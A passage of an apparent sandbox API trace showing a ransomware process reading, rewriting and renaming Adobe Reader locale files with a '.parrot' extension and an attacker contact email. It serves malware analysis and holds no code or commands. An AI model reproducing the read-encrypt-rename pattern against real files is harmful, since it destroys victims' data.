returned 0x0 [0253.002] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x32a2588 [0253.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0253.004] WriteFile (in: hFile=0x1b0, lpBuffer=0x32a25a0*, nNumberOfBytesToWrite=0x2b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32a25a0*, lpNumberOfBytesWritten=0x18e8f4*=0x2b28, lpOverlapped=0x0) returned 1 [0253.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0253.008] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.008] CloseHandle (hObject=0x1b0) returned 1 [0253.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0253.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32dca28 [0253.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0253.008] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readoutloud.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0253.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.053] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.054] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.058] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.058] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.059] GetLastError () returned 0x0 [0253.059] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0253.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.061] WriteFile (in: hFile=0x1b0, lpBuffer=0x31fe560*, nNumberOfBytesToWrite=0x1328, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31fe560*, lpNumberOfBytesWritten=0x18e8f4*=0x1328, lpOverlapped=0x0) returned 1 [0253.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.064] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.064] CloseHandle (hObject=0x1b0) returned 1 [0253.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0253.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x329d2b0 [0253.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.065] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d2b0 | out: hHeap=0x5b0000) returned 1 [0253.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0253.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0253.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.069] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.071] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.071] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0253.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0253.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.072] GetLastError () returned 0x0 [0253.072] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0253.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0253.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0253.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32aa5c8 [0253.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32aed18 [0253.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0253.075] WriteFile (in: hFile=0x1b0, lpBuffer=0x32aed20*, nNumberOfBytesToWrite=0x4b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32aed20*, lpNumberOfBytesWritten=0x18e8f4*=0x4b28, lpOverlapped=0x0) returned 1 [0253.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aed18 | out: hHeap=0x5b0000) returned 1 [0253.078] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.078] CloseHandle (hObject=0x1b0) returned 1 [0253.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0253.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32dca28 [0253.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0253.078] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0253.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0253.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.082] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.082] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.086] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.086] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, 